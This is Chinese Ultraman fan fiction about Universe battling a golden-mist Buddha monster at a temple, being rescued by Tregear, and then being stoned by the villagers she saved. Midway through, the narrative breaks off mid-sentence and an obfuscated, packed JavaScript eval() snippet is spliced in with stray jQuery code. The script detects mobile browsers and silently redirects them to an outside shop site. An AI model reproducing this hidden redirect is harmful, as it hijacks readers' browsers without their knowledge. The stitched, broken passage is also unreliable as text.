君若琳是在刷手机时看到的新闻
本地推送——「深山寺庙周边村民集体昏睡,原因不明」
配图是几张航拍图,寺庙周围的山道上、人行道上,横七竖八地倒着居民,姿势各异,全都一动不动。
评论区已经吵翻了天。有人说是集体癔症,有人说是毒气泄漏,还有人在扯什么神明降罚。
君若琳的手指在屏幕上停了两秒。
——那张照片里的飞檐她认得。
檐角挂着铃。
三天前她刚去过那座庙。
她站起身的时候带倒了椅子,金属椅腿在瓷砖地上刮出一声刺耳的响。君若琳抓起外套,冲出了门。
脖子上的衣领被她下意识地往上提了提。那片红痕还没完全消……
————三天前
石阶一级一级往上叠,两旁的松树把天遮了大半,只漏下碎成细条的光。君若琳踩上第三十七级的时候,台阶缝里钻出一丛枯草,擦过她的鞋面,她脚步顿了一下。
婆婆走在前面两步远的地方,回头看了她一眼,目光从她脸上落到她垂着的手上。
“手别揣兜里,”声音压着,但压不住那股急,“到了地方尊重一点。”
君若琳把手从兜里抽出来,垂在身侧,手指张了一下又收拢。
“还有,”婆婆转回去,声音从前面飘过来,“待会儿见了人主动叫,别跟木头似的。”
“嗯。”君若琳盯着前面那人的后脚跟,一步踩一块石板。
“昨天隔壁王阿姨跟你打招呼,你连头都没抬。”
“嗯。”
“你这样以后怎么——”
“嗯。”
婆婆停了一下:“一跟你说话你就在那里嗯嗯嗯嗯,啥都晓得了。”
君若琳并不喜欢拜这些,她觉得求神不如求己,并且……她到神佛像面前时总有些异样感……
风从两棵松树之间穿过来,带着线香和旧木头的气味,混在一起,有点腻。
前面一对母子。小孩五六岁的样子,手里捏着一根从地上捡的树枝,边走边戳路边的石板缝。
他仰头问他妈:“妈妈,我要跟佛祖说我想吃好多好多东西,他会给我吗?”
他妈笑了,伸手揉了揉他的头:“你许你的,佛祖听不听是他的事。”
小孩继续拿树枝戳石板缝,嘴里嘟囔着:“那我要许一百个冰淇淋。”
大殿的门槛比君若琳预想的高。跨过去的时候膝盖抬了一下,大衣下摆蹭过木头的边角。
供桌上摆着几排水果和糕点,烛火在玻璃罩后面一跳一跳的。
她站在蒲团后面,没有立刻跪。她抬头看了一眼那尊佛像——金漆的脸,半阖的眼,嘴角的弧度不高不低,看不出悲喜,只有高高在上。
殿顶上悬着的灯把光从正上方打下来,在佛像的肩头投出一圈深色的阴影。
她的视线在那张脸上停了两秒,然后移开了。总感觉后颈有点发紧。
婆婆在旁边跪下来,膝盖落上蒲团的时候发出一声闷响。然后回头看了她一眼,目光里带着催促。
君若琳跪下去。蒲团表面被无数人跪过,磨出一层光滑的旧色,膝盖落上去的时候触感温温的
她闭上眼。
旁边传来低低的念叨声。右后方一个中年女人的声音,压得很轻但每个字都很清楚:
“保佑我老公明年升职,保佑我儿子考上重点高中,保佑——”声音断了一下,又续上来,更低了,“保佑我们家今年能换个大点的房子。”
“……也保佑我自己以后能在这个家幸福一点。”
更远一点的地方,有个男人的声音在说:“求佛祖保佑财源广进,保佑今年生意翻一番。”
再远,听不清了,只剩一片嗡嗡的低响。
君若琳睁开眼。她没有转头看,只是盯着面前那层垂下来的黄绸帘子,帘子底部被烛火照出一小块暖色的光斑。那些声音还在往她耳朵里钻,一个叠着一个,要钱,要权,要平安,要更多更多更多。
她低头看了一眼自己的手。十指交握着搭在膝上。
视线无意识往侧边偏移,穿过缭绕淡薄的香雾,她才注意到立柱阴影里还跪着一个人。
是雾崎……
他离主供台很远,单独跪在最靠边的蒲团上,大半侧脸都藏在横梁投下的阴影里,姿态看着和其他许愿的香客没两样,脊背挺直,双手轻抵在额头前。
旁人皆是低声迫切地诉说欲望,唯有他周身格外安静,没有发出半点祈求的声音,仿佛只是静静跪在那里,而非在向佛像索取什么。
他没有闭眼,眼睫垂着,目光落在地面的青砖缝里,根本没有看向佛像。明明是跪拜的姿势,却没有半分信徒的虔诚,反倒像一个游离在外的旁观者,冷漠地听着满殿此起彼伏的执念与渴求。
君若琳的呼吸微顿了半拍。
似乎别人都在拼命向神明讨要所求,只有他跪在这里,什么都没说,也什么都没打算索取。
——他们拜的到底是佛,还是自己那些填不满的洞?
君若琳心中突然涌出这个想法。
殿门外风又灌进来,烛火晃了一下,佛像脸上的光暗了半秒又亮了。
等她再下意识望向侧边立柱时,那个位置已经空了。
只剩缓缓飘散的香烟。
香烟往供台上方、佛像的胸口莲台处飘去。一缕极淡的蓝紫色气息,混在香烟里,像一条细蛇,悄无声息地钻进了莲台的缝隙。
莲台微微亮了一下。
很淡,像是烛火晃动造成的错觉。
君若琳的后颈又开始发紧。
“不是说佛不喜欢有欲望的人吗?”她开口,声音不大,似乎在自言自语。
婆婆的脚步慢了下来,但没有停:“什么欲望不欲望的?”
“刚才那些人许的愿——要钱,要房子,要升职。”君若琳的视线还落在石板上,没有抬起来,“那不就是欲望吗?”
婆婆停了一下。风从侧面灌过来,把她的头发吹起来,又落下。
“我们只是想让自己过得好一点,有错吗?”声音比刚才低了些,少了几分念叨的劲,“还有,你到了佛祖面前,说话注意点。”
君若琳没再开口。她抬头看了一眼殿顶的飞檐——檐角挂着铃,风大的时候会响,但此刻风不够大,铃只是微微晃了一下,没有声音。
她收回视线的时候,余光扫到侧廊的柱子后面,一抹半黑半白的衣角一闪而过,消失在廊道的拐角处。
她的脚步顿了一下。
寺庙内那些人还在为自己的欲望而拜佛,求神拜佛的碎碎念,还有那巨大的雕像,始终让君若琳感到不安。
她加快了两步,走到婆婆身侧。
“走了走了,早点回去吧。”声音急了一点,拉了一下婆婆的袖口,往台阶的方向带了带。
婆婆被她拽得踉跄了一步:“急什么急?难得来一趟——”
“风太大了,有点冷。”君若琳没松手,手指攥着袖口的布料。
婆婆看了她一眼,又顺着她的视线往廊道那边看了一眼。廊道空的,只有一只灰麻雀从檐下飞出来,翅膀扇了两下,落进旁边的松树枝里。
“行行行,回去回去。”
————现在
寺庙比三天前更安静了。
山脚下的石阶旁坐着一个挑担子的小贩,扁担还在肩上,头歪着,眼睛闭着,嘴角挂着一丝满足的笑。
再往上走,扫地的僧人拄着扫帚靠在树上,姿势僵硬,脸上的表情却很平和。
周围都拉上了警戒线,有着各种警察与医生。
君若琳蹲下来,伸手探了探小贩的鼻息。
还有气,似乎睡着了。
她站起身,从侧面偷偷溜进了寺庙,快步往大殿走。越往上走,空气里那股线香的味道就越浓,浓到发腻。石阶缝里的枯草比三天前更黄了,风一吹,灰扑扑地抖。
大殿的门虚掩着。
她推开门的时候,一股热浪混着香灰味扑面而来。
供桌上的水果和糕点还在,摆得整整齐齐。
但那尊佛像变了。金漆的表皮正在剥落,裂缝里透出暗金色的光,丝丝缕缕地往外冒。
佛像胸口的位置,原本是雕刻莲台纹饰的地方,此刻正以一种极慢的频率起伏着。
每一次“呼吸”,就有一缕蓝紫色气息从莲台的缝隙里渗出来,盘旋着升上去,融进殿顶的金雾里。
君若琳的后颈又开始发紧。
她往后退了一步。
就在这时,佛像的眼睛睁开了,那张金漆的脸裂开了,从眉心一直裂到下颌,裂缝里两团流转的暖金色光雾,没有瞳孔,没有焦点,却让君若琳瞬间浑身发冷。
“!!!!!”
大殿突然开始震动
君若琳转身就跑。
她冲出大殿的那一刻,身后传来一声巨响——整个大殿的屋顶被顶飞了,瓦片和木屑四散飞溅。
一道巨大的阴影从她头顶罩下来,她抬头,看见一只由金雾凝聚而成的巨掌从半空拍下来,掌心有莲纹在发光。
“Universe——!”
银光炸开的瞬间,巨人在半空中接住了那只金雾巨掌。冲击力顺着手臂往下传,Universe的双脚陷进地面,碎石和尘土向四周炸开。
那巨掌似乎是空的,像握住了一团烧着的烟。她手腕一翻借力弹开,落在山门前的空地上。
对面,痴妄罗阇缓缓从废墟中站起身。坐佛的轮廓,通体半透明金雾,灰色念丝线在雾中穿梭如血管,佛面半阖着眼,嘴角挂着不高不低的弧度。
它没有主动攻击,周身金雾缓缓扩散——妄念领域。金色光晕所及之处,地上昏迷的人脸上笑容更满足了。
Universe右手藤蔓化鞭,站在领域边缘甩出一鞭。金雾散开一片,下一秒又合拢。
她脚下一蹬绕着怪兽高速移动,长鞭舞成银色光幕,左腰、右肩、膝弯、胸口——每一击试探不同位置。
金雾打散又聚拢,灰色念丝线顺着鞭梢爬来,她腕部一抖绞断,断口又生新的,越缠越多。
她猛地收鞭后退。妄念领域已漫过足尖,一阵眩晕——画面闪过:舒霁笑着朝她伸手,光之国的天空是纯净的蓝。
她咬舌尖,痛感撕开幻觉。双臂交叉,白灯骤亮——新星冲击。
胸口莲台炸开环形强光冲击波,烟雾散去,怪兽还站着,莲台亮了一下,像是被“喂”了一口,气冒得更浓了。
虚妄金身——常规光线只会穿过雾体,甚至被吸收。
她换策略,双手结印,白色光球从虚空浮现——光球乱袭。
光球带着空间撕裂的力量砸下,金雾被砸出窟窿,灰色丝线断裂乱飞,怪兽躯体第一次明显晃动。
她抓住空隙空间移动,空中翻身甩出八分光轮切腰侧,右手同步结印光球如流星雨覆盖全身。
怪兽佛面出现细微波动。
下一秒她已单膝落在怪兽肩头,右手砸进怪物肩膀——裂隙引爆!
空间裂隙如蛛网蔓延,绞碎金雾与丝线。怪兽低沉嗡鸣,剧烈晃动。
然后它低下头,金色光洞“看”向她,抬起手,掌心莲纹亮了。一道金色光波射出,带着无法抗拒的压迫感。她侧身闪避,光波却拐了个弯,正中胸口。
极乐幻梦。
纯白空间里,舒霁和诸星零穿着普通衣服,手里拿着两杯奶茶朝她笑:“你怎么才来?电影快开场了。”她伸手去接时,耳环闪了闪,指尖快碰到时停住了——不对。
舒霁回光之国了。
这里是战场,她闭上眼再睁开,空间意志从内部劈开幻境。碎片后是真实战场——她站在原地,双手前伸保持着接奶茶的姿势,怪兽另一只手已举到头顶。
愿缚丝绦缠上了全身。无数灰色丝线从四面八方涌来,缠住手臂、腰、腿,钻进皮肤往意识深处钻,放大着每一丝欲望——好想休息……
她的膝盖弯了一下,计时器开始闪红。怪兽手掌压下来,掌心莲纹凝聚全部执念能量,足以将她砸进地底。她想抬手格挡,但手臂动不了,视野开始模糊。
那只手掌越来越近。
一道幽蓝的光从侧面撞过来,狠狠撞在了Universe身上,将她整个人撞飞了出去。
“我可没想让你死——”
她在地上滚了好几圈才停下,身躯擦出一道长长的沟壑。
她撑着地面抬起头。
痴妄罗阇的那一掌落了空,砸在地上,炸出一个巨大的坑。
而在坑的边缘,站着一个奥特曼,蓝色与黑色交织的身躯,胸口拘束带下的计时器黯淡得几乎看不见光,身形有些摇晃,像是随时会消散。
toregia
他一只手捂着胸口,另一只手垂在身侧,指尖在微微发抖。
“哎呀呀,”他的声音带着一贯的轻佻,但气音比平时沉重了很多,“这个怪兽的力量……不对呀。”
奇怪,他可并没有给这个怪兽这么多力量……
Universe愣住了。
她撑着地面想站起来,胸口的计时器还在急促地闪红。
“你——”
“别你你你的了。”toregia侧头看了她一眼,那双红色色的眼睛里没有了平时的玩味和嘲讽,取而代之的是一种……很复杂的东西。
像是审视,像是探究,又像是一丝他自己都没有察觉的担忧,“你要是死在这里,我上哪儿找这么有趣的实验对象去?”
他说完,别过脸,似乎是觉得这句话说得太多了,又补了一句:“而且……你还没回答我的问题呢。”
什么问题?Universe没来得及问。因为山脚下传来了声音。
“怪物!”
是从山脚下传来的。
“什么……?”
妄念领域在toregia撞开那一击时出现了短暂的紊乱,领域边缘的人们开始陆续醒来。
他们揉着眼睛,茫然地坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934411|212425||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起身,然后看到了战场上的两个巨人
蓝紫色星空般的奥特曼,和幽蓝的奥特曼。还有中间那只金雾构成的怪兽。
但他们的目光没有落在怪兽身上。
一个穿着灰夹克的中年男人最先站起来。他揉了揉眼睛,看清了战场上的景象,然后目光落在toregia身上——那个幽蓝色的、看起来就“不像好人”的巨人。
他的瞳孔缩了一下,然后弯腰从地上捡起一块石头,用尽全力扔了出去。
石头弹在toregia的小腿上,碎了。
“佛祖显灵了!”男人指着痴妄罗阇喊,声音因为激动而发抖,“是佛祖在收妖!”
“你们……”universe有些震惊。
这一声喊像是一个信号。周围的人纷纷站起来,有人捡起地上的石头,有人抓起地上的树枝,有人甚至把随身带的矿泉水瓶也扔了出去。
“两个怪物!”
“可,是我们救了你们啊……”
“滚出去!”
“是你们把这里变成这样的!”
“可如果我不救你们,你们会沉浸在唯心世界永远无法醒来!”universe为自己辩解道。
骂声越来越多,越来越杂。一个穿花衬衫的年轻人挤到最前面,指着Universe的鼻子骂:“我们让你们保护我们了吗?啊?”
“我们让你们打他了吗?他是佛祖,不是怪物,你们真是疯了!!”
“你们……”universe大脑一片空白,欲言又止。
他唾沫横飞,脸涨得通红,像是受了天大的委屈。
一个老太太拄着拐杖,颤巍巍地走到前面,用拐杖指着Universe,声音尖利:“你这个怪物!你打碎了佛祖的金身!你会遭报应的!”
她一边骂,一边从地上抓起一把土,扬了过去。土落在Universe的脚边,被风吹散了。
更多的人围了上来。有人开始推搡维持秩序的警察,有人试图冲过警戒线,有人掏出手机对着Universe和toregia拍,嘴里还在喊:“大家快看啊!这两个怪物打我们的佛祖!快拍下来发网上!让所有人都看看!”
石头、树枝、矿泉水瓶、泥土——各种各样的东西砸过来。
有的砸在Universe的小腿上,弹开了。
有的砸在toregia的腿环,他连躲都没躲。
Universe站在那里,银色的脸上没有表情。
但她的手指缓缓攥紧了,指节发白。
几步之外,toregia也站着。他没有看那些扔石头的人,他在看Universe。看她攥紧的手指,看她没有躲的肩膀,看她眼灯里一点点暗下去的光。
“光啊……”他低声说,声音被骂声盖过了大半,只有离得最近的Universe能听见,“你以为你在发光,他们就能看见你?不。他们只会在你的光里找自己的影子。你的光照亮了他们的欲望,他们就拜你;你的光打碎了他们的梦,他们就砸你。”
他顿了顿,嘴角勾起一抹笑容,说不清是嘲讽还是悲悯。
“光和暗从来就不是对立的。你救他们,是光;他们恨你,也是光——是他们自己欲望的光。你以为你站在光这一边,其实你只是站在了他们欲望的对面。”
Universe的睫毛颤了一下。她没有转头看他,但她听见了。
她看着那些人。看着那个灰夹克男人
他刚才还在幻觉里做着美梦,现在醒了,第一件事是骂她。
看着那个花衬衫年轻人
他甚至不知道发生了什么,只是跟着喊。
看着那个老太太
她手里的佛珠还挂在手腕上,一边念佛一边骂她怪物。
她刚才在跟什么战斗?她在保护谁?
一块石头砸在她的小腿上。她没有躲。
她低头看了一眼自己的手。
这双手。刚才还在挥鞭、还在开屏障、还在拼尽全力不让那只怪兽的手掌砸下来的手。这双手保护了他们,把他们从幻觉里拉了出来。
而他们的回报,是石头,是骂声,是“你会遭报应的”
“早知道让佛祖把你们都收了!”人群里有人喊了一声,立刻引来一片附和。
“就是!谁让你们多管闲事!”
“我们在梦里好好的,谁让你们叫醒我们的!”
Universe的眼灯暗了一下。
她侧过头,看向toregia。
toregia也在看她。那双红色的眼睛里没有意外,只有一种"果然如此"的淡漠。但他的嘴角动了动,没有像平时那样立刻说出嘲讽的话。
两个人对视了一秒。
Universe从他的眼睛里看到了答案——这就是人类。这就是你拼尽全力保护的东西。
她转回头,看着那些还在扔石头、还在骂的人。她的嘴唇动了动,像是想说什么,但最终什么都没说。
说什么呢?说“我救了你们”?他们不觉得被救了。说“那是怪物不是佛祖”?他们不信。说“你们会遭报应的应该是你们自己”?那和他们有什么区别。
她只是觉得很累。
心里像是有什么东西从里面被掏空了,风灌进去,凉飕飕的。
她想起自己以前一次又一次保护这些人。
想起自己作为普通人时遭受的来自人们的恶意与霸凌。
想起三天前在佛殿里,那些人跪着许愿,要钱,要权,要平安,要一个永远不会醒的梦。
他们不是要真相。他们要的是那个梦。而她,打碎了他们的梦。
所以他们恨她。比恨怪兽更恨她。
“看吧,”toregia终于开口了,声音很轻,轻到几乎被人群的骂声盖过去,“人类就是这样的东西。你给他们光,他们把光当成许愿池;你打碎他们的梦,他们就把你当成怪物。光和暗在他们眼里从来不是看你做了什么——是看你有没有满足他们的欲望。”
Universe没有说话。她深深地呼出了一口气,然后转身。
蓝紫色的巨人腾空而起,朝着远处飞去,没有回头。
toregia站在原地,看着她飞走的方向,又低头看了一眼脚下那些还在扔石头的人类。他嗤笑了一声,但那笑声里没有了平时的愉悦,反而有一丝说不清道不明的东西。
"……连我都觉得有点过分了呢。"他低声说,然后身体化作幽蓝色的光点,消散在空气里。
痴妄罗阇站在废墟中央,佛面上的弧度没有变。它缓缓坐了下来,重新恢复成佛像的姿态,金雾收拢,金气缩回莲台。周围的人们又开始一个个倒下,脸上重新挂起满足的笑容,回到了他们的极乐幻梦里。
Universe独自飞出地球,来到了火星上,一个人静静坐着。
红色的沙粒从她指尖漏下去,散成一小片扇形的痕迹。她低头看着那些沙,眼灯的光很暗,胸口的计时器一明一灭。